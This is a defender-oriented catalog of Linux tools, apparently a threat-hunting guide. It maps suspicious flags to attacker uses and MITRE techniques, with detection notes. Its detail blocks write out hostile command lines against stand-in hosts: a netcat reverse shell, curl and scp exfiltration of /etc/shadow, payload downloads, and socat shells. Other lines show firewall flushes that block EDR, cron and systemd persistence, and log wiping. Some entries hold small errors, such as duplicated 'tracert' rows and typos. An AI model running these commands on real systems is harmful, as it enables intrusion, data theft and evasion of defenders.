nc / netcat (third-party; netcat-openbsd & traditional variants ship on most distros)	Raw TCP/UDP read/write, port scans, banner grab	<code>-e /bin/sh -c "sh -i" -l -p -n -z -w -v -u -k -d -L --send-only --ssl</code>	Bind (<code>-l -p + -e</code>) and reverse (<code>-c/-e</code>) shells; <code>-z</code> silent port scan; <code>-n</code> disables DNS (evasion); <code>-k</code> keeps listening for repeat sessions; <code>-L</code> auto-relaunch persist. Note: <code>-e</code> is OpenBSD/traditional-netcat only, NOT on macOS; <code>-L</code> is traditional-netcat only; <code>--ssl/--send-only</code> are ncat-only	T1059, T1105, T1021.001, T1046, T1572
ncat (third-party, nmap)	Enhanced netcat: TLS, proxying, sockets	<code>--sh-exec "cmd" -e -l -p --ssl --ssl-cert --ssl-key --proxy --proxy-type socks5 --allow --chat --keep-open -w</code>	Reverse/bind shells over TLS (<code>--ssl</code>) to evade detection; SOCKS proxy pivoting; <code>--allow</code> restricts accept to C2 IP; <code>-e/--sh-exec</code> command exec; persist via <code>--keep-open</code>	T1059, T1572, T1090, T1021.001, T1046

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
socat (third-party)	Multipurpose bidirectional relay	<code>-d -d -v EXEC:system:,pty,stderr</code> <code>TCP:host:port,reuseaddr,forever,bind=,range=,retry</code> <code>SOCKS4A: PROXY: OPENSSL: TCP-LISTEN: -</code>	Reverse/bind shells via <code>EXEC: /SYSTEM: ;</code> TLS-wrapped C2; port forwarding/pivoting; encrypted exfil; <code>TCP-LISTEN: + fork</code> relay hub; <code>-d -d -v</code> verbose shows its own config in logs (chicken/egg, the flags themselves aid ops)	T1059, T1572, T1090, T1048, T1573
ssh	Secure remote shell/exec	<code>-o ProxyCommand= -o ProxyJump= -N -R -L -D -W -f</code> <code>-F ~/.ssh/config -o StrictHostKeyChecking=no -o</code> <code>UserKnownHostsFile=/dev/null -o ConnectTimeout= -o</code> <code>PermitLocalCommand=yes -tt</code>	SSH tunnels (<code>-L</code> local, <code>-R</code> reverse, <code>-D</code> SOCKS) for pivoting/evasion; <code>-N</code> no commands = pure tunnel; <code>-W</code> forward stdio; custom <code>-F</code> config or known-hosts nulling (evasion); <code>ProxyJump</code> chaining; <code>PermitLocalCommand</code> executes on server	T1021.004, T1090, T1572, T1554, T1071.001
scp	Copy files over SSH	<code>-o StrictHostKeyChecking=no -o</code> <code>UserKnownHostsFile=/dev/null -P -C -q -r -i key -F</code> <code>config -O</code>	Stealthy file exfil/staging over SSH (blends with legit traffic); custom SSH config abuse; <code>-P</code> nonstandard port evades egress filters	T1041, T1048, T1105, T1573
sftp	Interactive file transfer over SSH	<code>-o StrictHostKeyChecking=no -P -b batchfile -R -i</code> <code>key -C -r</code>	Exfil/staging over SSH; batch mode <code>-b</code> = scripted non-interactive transfer; nonstandard <code>-P</code> port	T1041, T1048, T1105
rsync	Incremental file sync (local/remote)	<code>-e "ssh -p 4444" -a -z -q --partial --bwlimit --</code> <code>delete -R --exclude -P --daemon --config= --port=</code> <code>--blocking-io</code>	Bulk exfil of many files with compression <code>-z</code> and quiet <code>-q</code> ; custom <code>-e</code> transport (e.g., over nonstandard SSH port); <code>--daemon</code> opens unauthenticated rsync service; <code>--delete</code> destructive	T1041, T1048, T1105, T1485
telnet	Legacy plaintext remote login	<code>-l user -e</code>	Brute-force or plaintext credential harvesting (sniffable); <code>-l</code> with a username; <code>-e</code> custom escape for interactive sessions	T1021.001, T1110, T1046
ftp	Legacy plaintext file transfer	<code>-i -n -v -s:scriptfile -p (macOS) / --no-prompt</code> (lftp, third-party)	Scripted exfil (<code>-s</code> script on Windows; on Linux use <code>-i -n</code> non-interactive); plaintext creds sniffable; passive/active mode confusion for firewall evasion	T1041, T1048, T1071.001

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tftp (third-party, tftp-hpa)	Trivial FTP over UDP 69	<code>-c -m binary server get/put filename</code>	Legacy exfil/staging over UDP port 69 (often allowed through egress rules); no auth = nothing to log; <code>-c</code> continuous mode	T1041, T1105, T1048

Remote Access & Pivoting

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
sshd	SSH server daemon	<code>-d -p 2222 -o PermitRootLogin=yes -o AllowUsers= -o AuthorizedKeysFile= -o ListenAddress= -o PasswordAuthentication=yes -f custom_config</code>	Running attacker-controlled sshd <code>-d</code> on nonstandard port to keep access; <code>-d</code> debug mode = single foreground session; custom config relaxing auth; root login enabled	T1543, T1021.004, T1136, T1562
ssh-keygen	Generate/manage SSH keys	<code>-f /home/user/.ssh/authorized_keys -y -p -t ed25519 -C -b -N "" -R host</code>	Creating new keys for persistence; <code>-y</code> extracts public key; <code>-p -N ""</code> strips passphrase; appending to <code>authorized_keys</code> via <code>-f</code> path abuse (key-based persistence)	T1098.004, T1554, T1556
ssh-agent	Holds private keys in memory	<code>-k -s -c -t</code>	Attacker can inject keys into a running agent (<code>ssh-add</code>), or kill agent (<code>-k</code>) to complicate forensics; <code>-t</code> changes lifetime	T1555, T1098.004, T1562
ssh-add	Load keys into ssh-agent	<code>-D -d -L -k -t -c</code>	Adds attacker key to agent for reuse (<code>-d</code> / <code>-D</code> removes legit keys); <code>-L</code> lists loaded public keys (key discovery); passphrase-less agent keys = instant credential reuse	T1555, T1098.004
ping	ICMP reachability test	<code>-p pattern -s 64 -c -i -f -q -W</code>	ICMP tunneling/exfil in payload (<code>-p</code> hex pattern, <code>-s</code> oversized, <code>-f</code> flood); recon for host discovery; <code>-c</code> limited count hides scans; source routing not available on modern Linux	T1046, T1095, T1048
tracert	Trace path to host	<code>-T -U -p 4444 -I -P tcp -w 1 -n -m 30 -q 1 -z</code>	Firewall/port recon via <code>-T</code> TCP or <code>-U</code> UDP probes to unusual ports; <code>-n</code> no DNS (evasion); <code>-I</code> ICMP alternative when ICMP blocked	T1046, T1071
tracert	Path MTU discovery / traceroute	<code>-p 4444 -n -m</code>	Alternate probe tool when traceroute blocked; UDP probing of arbitrary ports	T1046, T1071

Credential & Key Management

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ssh-keygen	(see Remote Access row above)	<code>-y -f authorized_keys -p -N "" -t ed25519 -o</code>	authorizing attacker pubkey; stripping passphrases; harvesting key material	T1098.004, T1555
ssh-agent / ssh-add	(see Remote Access rows above)	<code>-L -d -D -k -t</code>	key discovery / agent injection / credential theft	T1555, T1098.004

Crypto & Data Operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
openssl	TLS/SHA/crypto toolkit, s_client	s_client -connect host:port -quiet -ssl3 -tls1 -no_ign_eof -ign_eof -servername s_client -starttls smtp -k/-noss; enc -aes-256-cbc -a -pbkdf2 -k pass -in file -out /tmp/.x; req -x509 -newkey rsa:2048 -nodes -subj "/CN=..." -keyout -out; genrsa -aes256 -out key.pem	s_client -connect to C2 as raw TLS channel (encrypted C2/exfil that IDS can't read); enc -a base64+encrypt = staged payload/ransomware file; req -nodes = unencrypted key in cert abuse (fake TLS server for MITM); large enc operations correlate with encryption (e.g., ransomware)	T1573, T1027, T1486, T1071.001, T1048
gpg / gpg2	File encryption/signing (GnuPG)	-c --cipher-algo AES256 --symmetric -o out.gpg -r -e -a --batch --passphrase-file -d -z --pinentry-mode loopback	Ransomware-style symmetric file encryption -c/--symmetric; -e -r exfil encryption; --batch --passphrase-file non-interactive = scripted mass encryption; -d decrypt staging	T1486, T1027, T1048, T1560

DNS & Name Resolution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dig	DNS lookup (BIND)	@8.8.8.8 -p 5353 -t TXT -t ANY -x +short +noall +answer -c CH -q txt.example.com	DNS tunneling/exfil via TXT records; custom @server/-p port to attacker DNS; +short minimal output for scripted beacon loops; -x reverse lookups for recon	T1071.004, T1048, T1568.002, T1046
nslookup	DNS lookup (legacy wrapper)	-server=8.8.8.8 -port=5353 -type=TXT -query=TXT	Same DNS-tunnel pattern; legacy tool often whitelisted/ignored in audit rules	T1071.004, T1048
host	DNS lookup (BIND)	-T -p 5353 -t TXT -a -v -4 -6	DNS-tunnel beacon queries; -T TCP mode; unusual types (-t TXT)	T1071.004, T1048
resolvectl (systemd-resolved)	Manage systemd-resolved DNS	flush-caches dnssec dns status query	Tampering with DNS settings to point victim at attacker resolver; dnssec off / set-dns redirection; query manual lookups that may not appear in normal resolver logs	T1562, T1071.004, T1105
nmcli	NetworkManager CLI (connections, devices)	connection up id <ssid> -a wifi connect <ssid> password <pw> device wifi connect ... password ... device show ip address add/del dev eth0	wifi connect with password = rogue Wi-Fi/evil-twin join or scanning nearby SSIDs (network recon); ip address add/del interface changes; connection up to attacker-managed connection; general permissions checks	T1046, T1021.005, T1071, T1543

Network Configuration & Interfaces

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ip	Full network interface/route management	link set eth0 down addr add 10.10.10.10/8 dev eth0 addr del route add default via 10.10.10.1 route del ... route add <subnet> via <gw> dev tun0 neigh (ARP) ip addr flush dev eth0	Interface/route manipulation to redirect traffic through attacker gateway or VPN tunnel; addr add rogue IP; link down for DoS/evasion; route add via attacker host = full traffic capture (MITM)	T1562, T1090, T1557, T1046
route (legacy, net-tools)	Show/manipulate routing table	route add -host 1.2.3.4 gw <attacker> route add default gw <attacker> route del ...	Persistent route redirection through attacker gateway; nonstandard default route (traffic pivot)	T1090, T1557, T1562

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
arp (legacy, net-tools)	ARP cache manipulation	<code>-s <ip> <mac> arp -d -i eth0</code>	Manual ARP injection = ARP-spoofing/ MITM setup; <code>-d</code> flushes cache to disrupt or force re-resolution; static MAC mapping to impersonate gateway	T1557, T1562, T1046
ifconfig (legacy, net-tools)	Legacy interface config	<code>eth0 up hw ether 00:11:22:33:44:55 down inet add 10.0.0.5 netmask 255.0.0.0</code>	MAC spoofing via <code>hw ether</code> (evasion/impersonation); interface up/down for disruption; deprecated, its presence in a session suggests legacy tooling or scripted abuse	T1562, T1557, T1046
netstat (legacy, net-tools)	Legacy network statistics	<code>-anpt -anupt -antlp -ap -tlnp -rn</code>	Pure recon (info-gathering flag combos aren't malicious per se but enumerate connections, listeners, routes; used before and after pivot); legacy tool, audit rules may miss it	T1046, T1016, T1007

Network Monitoring & Process/Port Mapping

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ss	Modern socket statistics	<code>-tanp -tulpn -anp state established '(sport = :4444 or dport = :4444)' -ltnp -o</code>	Reveals listening sockets and connections (port recon, detects backdoor listeners, identifies C2 beacons by unusual ports/peers)	T1046, T1007, T1016
lsof (third-party)	List open files/sockets	<code>-i -i :4444 -p PID -u user -n -P -iTCP -iUDP</code>	Enumerates open sockets per process/PID, the standard "what is the backdoor doing" recon; <code>-n -P</code> no DNS/port-name resolution (evasion); reveals exfil file handles	T1007, T1046, T1083
fuser	Identify/kill processes using files/sockets	<code>-k 4444/tcp -v -u -n tcp 80</code>	<code>fuser -k</code> kills processes holding a port (kills EDR/AV or competing service); useful during firewall/filter manipulation	T1562, T1489
tcpdump	Packet capture/analysis	<code>-i any -w /tmp/.cap -X -A -s 0 -vv -nn -c -G -z -U -q host attacker.com port 4444</code>	Attacker capture = credential sniffing in plaintext traffic (<code>-A</code> / <code>-X</code> ASCII/hex dumps); <code>-w</code> writes capture (exfil-ready or used to harvest data); <code>-z</code> / <code>-G</code> rotate + compress, persistent sniffer	T1557, T1040, T1057, T1560

Firewall & Packet Filtering

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
iptables	Netfilter ruleset management	<code>-A INPUT -j DROP -p tcp -s <ip> -A OUTPUT -j REJECT -I INPUT 1 -j DROP -L -n -v -F -X -Z -P INPUT DROP -A INPUT -i lo -j ACCEPT -m comment --comment "x"</code>	<code>-F</code> / <code>-X</code> flush = mass rule removal (defense evasion, often just before/after implant drop); <code>-A</code> / <code>-I</code> <code>-j DROP</code> blocking EDR/AV traffic or telemetry; whitelisting C2 IPs (<code>-s <c2> -j ACCEPT</code>); rule inspection <code>-L -n -v</code> for recon; evidence laundering via <code>-Z</code> counters	T1562.004, T1562.001, T1046
iptables-save	Dump ruleset to stdout/file	<code>iptables-save > /tmp/.rules</code> <code>iptables-save</code>	Copies ruleset for recon (understands exfil/AV-block rules) or for transfer to other hosts (lateral staging)	T1007, T1046, T1021
iptables-restore	Load ruleset from file	<code>iptables-restore < /tmp/.rules</code>	Applies pre-built attacker ruleset wholesale, fast, one-shot firewall reconfiguration/blocking	T1562.004, T1562.001
nft	Modern netfilter (nftables)	<code>add table inet x add chain inet x y { type filter hook output priority 0; } add rule inet x y drop ip saddr <c2> flush ruleset list ruleset add element</code>	Same as iptables abuse via nftables; <code>flush ruleset</code> wipes all rules; rule injection to whitelist attacker IP or block telemetry; <code>list ruleset</code> recon	T1562.004, T1562.001, T1046

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ebtables	Bridge-layer (L2) filtering	-A FORWARD -p IPv4 -j DROP -A INPUT -j DROP -F	L2 filtering to block/blind bridge-connected hosts or MITM on bridges; flush (-F) rules to evade bridge filtering	T1562.004, T1557
ufw	Ubuntu front-end for iptables	allow from <c2> deny out to any port 53 deny out to <edr-ip> status numbered reset enable disable	ufw deny out = block telemetry/EDR egress (evasion); allow from attacker = open ingress; reset clears rules (anti-forensics); enables logging bypass when daemon disabled	T1562.004, T1562.001, T1046
firewall-cmd	firewalld (RHEL-family) front-end	--add-rich-rule='rule family="ipv4" source address=<c2> accept' --add-port=4444/tcp --permanent --runtime-to-permanent --panic-on --reload	Rich rules to whitelist C2 or open high ports; --panic-on blocks all traffic (disruption); --runtime-to-permanent persists attacker rules	T1562.004, T1562.001, T1046

Connectivity Testing & Path Tracing

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ping	ICMP reachability (see Remote Access)	-p -s -c -i -f -q -W -n	host discovery, ICMP tunnel/exfil, flood	T1046, T1095, T1048
traceroute	path tracing	-T -U -p -I -n -m -q -w	port/segment recon through firewalls	T1046, T1071
tracpath	MTU/path discovery	-p -n -m	alternate probe	T1046

DETAIL BLOCKS, most-abused tools

1. curl

```
curl -sS -k -o /tmp/.cache/.x https://attacker.example/stage.bin
curl -s -X POST --data-binary @/etc/shadow http://attacker.example/c2
curl -s --proxy socks5://127.0.0.1:9050 https://c2.example/data -o /dev/null
```

- sS silent-but-show-errors, -k disables TLS verification, -o writes to a hidden dotfile path, -X POST --data-binary exfiltrates file contents, --proxy socks5:// routes through a tunnel (TOR/anonymizer).
- Detect: bash/auditd/audit execve logging of curl with -k and -o (AUDIT_SYSCALL, e.g., EventID 1 in auditd); EDR process tree, parent is rarely a browser; proxy/env HTTP(S)_PROXY anomalies; Sysmon-for-Linux network connect events to nonstandard ports; payload hash matches threat intel.

2. wget

```
wget --no-check-certificate -q -O /tmp/... http://attacker.example/b64 -e use_proxy=yes
```

- no-check-certificate ignores TLS errors (custom CA used), -q quiet, -O to dotfile, -e runtime config change.
- Detect: auditd/execve with --no-check-certificate; EDR child-of-odd-parent; UA string fingerprinting; DNS/HTTP logs to newly-seen domains.

3. nc / netcat

```
nc -e /bin/sh attacker.example 4444 # reverse shell (OpenBSD/traditional nc only)
nc -lvp 4444 # bind listener
nc -lvup 53 -k # UDP listener, keep-alive (DNS-port shell)
```

- e executes a shell (OpenBSD/traditional variant; absent on macOS), -l listen, -v verbose, -p port, -k persistent accept, -u UDP.
- Detect: auditd/execve of nc with -l or -e; EDR network events inbound to ephemeral ports or outbound from odd processes; packet capture showing interactive shell chatter; parent process is a webserver/DB, strongly anomalous.

4. socat

```
socat TCP-LISTEN:8443,fork,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
socat -d -d OPENSSL:attacker.example:443 TLS:attacker.example:443
```

- `TCP-LISTEN:`, `fork` bind listener, `EXEC:` executes a program (shell), `pty` gives a PTY shell, `OPENSSL:` wraps traffic in TLS, `-d -d` debug verbosity.
- Detect: `execve` of `socat` (rare in production); EDR parent-child anomalies; TLS sessions to unknown certs; `sshd-less` interactive shells on a TCP port.

5. ssh

```
ssh -N -R 4444:localhost:22 user@attacker.example # reverse tunnel
ssh -fN -D 1080 user@attacker.example # SOCKS proxy
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@1.2.3.4
```

- `-N` no command (pure tunnel), `-R` reverse (attacker reaches into victim), `-D` dynamic SOCKS, `-f` background, nulling known-hosts disables host verification (MITM-prone tunneling).
- Detect: `sshd` auth log for tunnel sessions from service accounts; EDR network events showing long-lived encrypted connections from unusual users; `-N/-R` sessions have no interactive terminal, correlate with shell-history gaps; `auditd` logging of `ssh` with `-R/-D`.

6. scp

```
scp -o StrictHostKeyChecking=no -P 2222 /etc/shadow user@attacker.example:/tmp/...
```

- `-P` nonstandard SSH port, known-hosts nulling, transfers sensitive files.
- Detect: `sshd` auth (SFTP/SCP subsystem) with unusual source/dest pairings; EDR file-read+network-write to a foreign host; `auditd` for `scp` on sensitive paths (`/etc/shadow`, DB dumps).

7. rsync

```
rsync -az --bwlimit=2000 --partial /var/lib/mysql user@attacker.example:/data/
rsync --daemon --port=873 --config=/tmp/.rsyncd.conf
```

- `-a` archive, `-z` compress (hides content from DLP by bandwidth), `--bwlimit` throttles to evade rate-based detection, `--daemon` starts an unprotected `rsync` server, `--partial` resumes.
- Detect: `rsyncd` logs / `auditd` `execve` of `rsync` to external IPs; EDR network sessions to port 873 (rare in normal ops); large sustained transfer on the wire to one foreign host.

8. openssl

```
openssl s_client -connect attacker.example:443 -quiet -ign_eof # raw TLS C2 channel
openssl enc -aes-256-cbc -a -pbkdf2 -k secret -in /data/... -out /tmp/.x # encrypt-then-exfil
openssl req -x509 -newkey rsa:2048 -nodes -subj "/CN=evil" -keyout k.pem -out c.pem
```

- `s_client -connect` opens a pure TLS stream, payload invisible to IDS; `enc -aes-256-cbc -a` encrypts+base64s files (ransomware/exfil pattern); `req -nodes` creates a key without passphrase for a fake TLS server.
- Detect: EDR/process-tracking for `openssl s_client` from odd parents; `auditd` `execve`; TLS metadata (JA3/JA4) of non-browser `s_client`; unusual large `enc` jobs correlate with ransomware TTP.

9. tcpdump

```
tcpdump -i any -w /tmp/.pcap -A -nn host attacker.example
tcpdump -i any -nn -A tcp port 23 or port 21 # sniff telnet/ftp creds
```

- `-w` writes capture, `-A/-X` dumps ASCII/hex payloads (credential sniffing), `-i any` all interfaces, `-nn` no resolution.
- Detect: `auditd` `execve` of `tcpdump` (rare legitimately); EDR process with raw socket capability; large `.pcap` files in odd locations; correlates with plaintext protocols in-scope (telnet/ftp).

10. iptables

```
iptables -F && iptables -X          # flush rules
iptables -A INPUT -s <c2> -j ACCEPT # whitelist C2
iptables -A OUTPUT -d <edr-ip> -j DROP # block telemetry
iptables -L -n -v > /tmp/.rules     # recon dump
```

- -F/-X wipe rules (defense evasion), -A ... -j DROP blocks EDR/AV, -s <c2> -j ACCEPT opens ingress, -L -n -v recon.
- Detect: auditd netfilter audit events (AUDIT_NETFILTER_CFG / AUDIT_NF_CONNTRACK with op=rule), EDR process tree around firewall mutation, sudden telemetry gaps; kernel ring buffer logs.

Section 2 (cont. 6): Linux Native Tool Catalog, System, Services & Logs, Suspicious Parameters

Service Control & Boot Persistence

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
systemctl	Manage systemd units, targets, power state	<code>enable</code> , <code>enable --now</code> , <code>link</code> , <code>edit</code> , <code>mask</code> , <code>set-default</code> , <code>isolate</code> , <code>kill --signal=</code> , <code>reboot</code> , <code>poweroff</code>	Boot persistence via unit symlinks/drop-ins; disable AV units; kill/reboot hosts; inventory enabled units	T1543.002, T1562.001, T1569.002, T1529, T1007
service	Start/stop SysV-style services (on systemd maps to systemctl)	<code>service <name> start</code> <code>restart</code> , <code>service <name> stop</code> , <code>service --status-all</code>	Run malware as a service; kill EDR agents; enumerate services	T1569.002, T1007, T1489
update-rc.d	Debian/Ubuntu: register SysV service runlevel links	<code>update-rc.d <name> defaults</code> , <code><name> enable</code> , <code>-f <name> remove</code>	Boot persistence via <code>/etc/rc*.d</code> S/K links; link cleanup after use	T1543.002, T1070.001
chkconfig	RHEL legacy: manage SysV runlevel services (legacy; replaced by systemctl)	<code>chkconfig --add <name></code> , <code><name> on</code> , <code>--level 345 <name> on</code> , <code>--list</code>	Boot persistence on RHEL 6/older; service inventory	T1543.002, T1007
systemd-run	Run transient units/timers with no install files	<code>--unit=</code> , <code>--description=</code> , <code>--on-calendar=</code> , <code>--on-boot=</code> , <code>--scope=</code> , <code>--shell</code> , <code>--uid=</code> , <code>--property=</code>	In-memory scheduled tasks (no crontab); masqueraded unit names; run as root	T1053.006, T1569.002, T1036.005
systemd-escape	Encode strings into valid systemd unit names	<code>systemd-escape --path <payload></code> feeding <code>systemd-run --unit=</code>	Obfuscate transient unit names to evade unit-file checks	T1036.005
systemd-tmpfiles	Create/clean runtime files at boot per <code>tmpfiles.d</code>	Entries in <code>/etc/tmpfiles.d/</code> *.conf using <code>f+</code> / <code>w</code> to write payloads or <code>/proc/sys</code> knobs	Boot-time file re-creation (re-drop backdoor, <code>ld.so.preload</code>)	T1547
loginctl	Manage login sessions, users, linger	<code>loginctl enable-linger <user></code> , <code>list-sessions</code> , <code>terminate-session</code> , <code>terminate-user</code>	Keep user services alive for persistence; kill sessions; session recon	T1543.002, T1087.001, T1489
telinit	Legacy SysV runlevel switch (symlink to systemctl on systemd distros; legacy)	<code>telinit 1</code> , <code>telinit 3</code> , <code>telinit 6</code>	Drop to single-user mode / reboot, disruption	T1529

Scheduled Tasks & Automation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
crontab	Edit user crontab	<code>crontab -e</code> , <code>-u <user></code> <code>-e</code> , <code>-r</code> , <code>-l</code> ; entries with <code>@reboot</code> , <code>/tmp/</code> or <code>base64 -d sh</code> paths	Persistent execution; purge own crontab to hide	T1053.003, T1070.001
cron	System-wide scheduler (daemon)	New files in <code>/etc/cron.d/</code> , edits to <code>/etc/crontab</code> , entries running from <code>/var/tmp</code>	Root persistence without touching user crontabs	T1053.003
anacron	Runs missed cron jobs after boot	Payload lines added to <code>/etc/anacrontab</code>	Delayed-execution persistence	T1053.003
at	One-shot job scheduler (atd)	<code>at now + 1 min -f /tmp/payload.sh</code> , <code>at -q <letter></code> , <code>at -t YYYYMMDDhhmm</code>	One-off execution; private queue letter hides job from default <code>atq</code> listing	T1053.002
atq	List queued at jobs	<code>atq -q <queue></code> (hunting private queues)	Enumerate scheduled jobs / verify implant	T1053.002

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
atrm	Delete queued at jobs	atrm <jobid>	Delete scheduled-job evidence	T1070.001
batch	Run job when load average is low (at b-queue)	batch -f /tmp/payload.sh	Delays execution to dodge peak-visibility windows	T1053.002

Logging, Kernel Messages & Rotation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
journalctl	Read systemd journal	--rotate, --vacuum-time=, --vacuum-size=, -p 3, -u <unit> targeted reads	Purge forensic logs; check whether implant activity was logged	T1070.001
dmesg	Read kernel ring buffer (/dev/kmsg)	dmesg -c (print then clear), dmesg -C (clear silently)	Wipe kernel messages; read kernel/HW info	T1070.001, T1082
lastlog	Show last login per user from /var/log/lastlog (deprecated in util-linux)	lastlog, lastlog -u <user>, lastlog -t <days>	Account recon, identify active/admin users	T1087.001
logrotate	Rotate/compress logs daily via cron	Attacker-added /etc/logrotate.d/* with postrotate/prerotate scripts or create 0666; logrotate --force	Root code exec piggybacking on rotation; weaken log permissions	T1053.003
logger	Write to syslog from scripts	logger -t su -p auth.notice "..." forged entries; logger -n <ip> -P 514 -d <data>	Log injection to mislead SOC; probe UDP 514 (C2/log sink test)	T1070.001

System State & Tuning

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
sysctl	Read/tune kernel parameters	sysctl -w kernel.randomize_va_space=0, -w net.ipv4.ip_forward=1, -w kernel.core_pattern=..., sysctl -a	Disable ASLR, enable routing for pivoting, dump kernel config	T1562, T1090, T1082
update-alternatives	Manage symlinked default commands via /etc/alternatives (alternatives on RHEL)	update-alternatives --set <cmd> /path/evil, --install <link> <name> /path/evil 100	Redirect php/python/java etc. to a malicious binary	T1574
systemd-ask-password	Prompt for passphrases at boot/login	systemd-ask-password 'Enter root password:' on a console	Phish root/operator credentials at the terminal	T1056.001
shutdown	Power off / reboot host	shutdown -r now, -h now, +1	Disrupt operations; force reboot to drop implants or deny response	T1529

DETAIL BLOCKS, most-abused tools

systemctl, persistence, evasion, disruption

```

systemctl enable /tmp/evil.service      # install unit from arbitrary path (symlink into multi-
user.target.wants)
systemctl link /etc/evil.service        # load unit from a non-standard directory
systemctl edit --force evil.service     # create drop-in override under /etc/systemd/system/
evil.service.d/
systemctl mask avd.service              # disable+stop AV unit; the binary itself stays runnable
systemctl kill --signal=SIGKILL evil.service
systemctl reboot | systemctl poweroff

```

enable creates symlinks in `/etc/systemd/system/*.wants/` (boot persistence); link registers units from anywhere, incl. `/tmp`; edit writes `.d/override.conf` files; mask symlinks the unit to `/dev/null` so it cannot be started/stopped by name while the process remains directly runnable (evades service-style shutdown); kill signals unit processes; reboot/poweroff are disruption. Detect: `systemctl list-unit-files --state=enabled`, `ls -la /etc/systemd/system/*.wants/`, new files under `/etc/systemd/system/` and `*.d/`; auditd type=EXECVE on `systemctl`; journald "Started" entries for unknown units; suspicious processes with parent PID 1 (systemd).

systemd-run, in-memory persistence & masquerading

```
systemd-run --unit=sysmon --description="system monitoring" --on-calendar='*.*-* *:00' /tmp/.s/pay
systemd-run --scope --uid=0 --shell # root shell in a scope
systemd-run --property=User=root /tmp/backdoor
```

`--on-calendar/--on-boot` create transient timers, a cron equivalent with zero crontab artifacts; `--unit/--description` masquerade the task; `--scope` runs with no unit/timer accounting; `--uid` runs as another user (escalation); transient units live only in `/run/systemd/transient`. Detect: `systemctl list-timers --all`, `systemctl status <unit>`, files under `/run/systemd/transient/`; journald unit logs; auditd EXECVE on `systemd-run` with the payload as child; units vanish on reboot, so the creation action itself is the signal.

crontab, scheduled persistence

```
crontab -e # or: crontab -u root -e (root only)
*/5 * * * * /var/tmp/.c 2>/dev/null
@reboot /bin/bash -c 'base64 -d <<< <b64> | sh'
crontab -r # wipe own crontab = indicator removal
```

`-e` installs a job; `-u` plants jobs for other users; `@reboot` gives boot persistence; `/tmp//var/tmp` paths, `base64 | sh`, and short obfuscated command names are hallmarks; `-r` deletes the crontab. Detect: `/var/spool/cron/crontabs/<user>` mtime/content (osquery crontab table); RHEL: `/var/log/cron` lines (root) CMD (...); Debian/Ubuntu: syslog CRON entries; auditd EXECVE on crontab; shell history.

cron, system-wide root persistence

```
printf '* * * * * root /tmp/x.sh\n' > /etc/cron.d/x
echo '@reboot root /var/tmp/up' >> /etc/crontab
```

`/etc/cron.d/` one-liners run as root with no user crontab involved; `@reboot` = boot persistence; entries pointing at `/tmp`, world-writable scripts, or `curl | sh` are red flags. Detect: FIM/new-file alerts on `/etc/cron*`; `/var/log/cron` (RHEL) or syslog CRON lines (Debian); auditd watches on `/etc/crontab` and `/etc/cron.d/`; osquery cron tables.

at / atq / atrm, one-shot execution

```
echo /tmp/pay.sh | at now + 1 minute
at -q q now + 2 minutes -f /tmp/pay.sh # private queue 'q' hides the job from default atq output
at -t 202608131200 -f /tmp/pay.sh # exact-time scheduling
atq -q q # hunt hidden queues
atrm 3 # remove job = evidence cleanup
```

`at` runs one command under `atd`, rarely needed on servers, so any at job is suspicious; `-q` queues are not shown by bare `atq`; `atrm` deletes spooled jobs. Detect: spool files under `/var/spool/cron/atjobs/` (Debian) or `/var/spool/at/` (RHEL); auditd EXECVE on `at/atq/atrm`; `systemctl status atd` (a running `atd` is itself a lead); processes with parent `atd`.

journalctl, log purging

```
journalctl --rotate --vacuum-time=1h --vacuum-size=10M
journalctl --disk-usage # normal, but useful to spot shrinks
journalctl -p 3 -u evil # targeted reads by an attacker
```

`--rotate` forces journal rotation, then `--vacuum-time/--vacuum-size` delete rotated files, real-time or historical log destruction; requires root or adm group. Detect: gaps in `/var/log/journal/` coverage and journal file mtimes; auditd EXECVE of `journalctl` with vacuum arguments; sudo logs; `journalctl --verify` errors.

dmesg, kernel log wipe

```
dmesg -c      # print then clear the ring buffer
dmesg -C      # clear silently (no output)
```

Both clear the kernel ring buffer (needs root/CAP_SYSLOG; blocked when `kernel.dmesg_restrict=1`), wipes kernel oops/driver messages that could fingerprint an implant or a forced reset. Detect: auditd captures the `syslog` syscall on `/dev/kmsg`; abrupt loss of `dmesg` continuity; correlated root-shell activity.

logrotate, code execution via rotation

```
cat > /etc/logrotate.d/x <<'EOF'
/var/tmp/l { daily rotate 5 postrotate /tmp/.p 2>/dev/null; endsript }
EOF
logrotate --force /etc/logrotate.d/x      # trigger the rotation immediately
```

Every file in `/etc/logrotate.d/` runs under `cron.daily` as root; `postrotate/prerotate` scripts are root code exec; `create 0666` makes logs world-writable for tampering. Detect: new/changed files under `/etc/logrotate.d/`; `logrotate` runs in `cron/syslog` logs; auditd `EXECVE` on `logrotate` and on the script path; EDR script-content scanning.

logger, log injection

```
logger -t su -p auth.notice "FAILED LOGIN for root from 10.0.0.9" # fake security event
logger -t sshd -p auth.info "Accepted password for root ..."   # pollute telemetry
logger -n 10.9.9.9 -P 514 -d alive                               # test remote log path / C2 endpoint
```

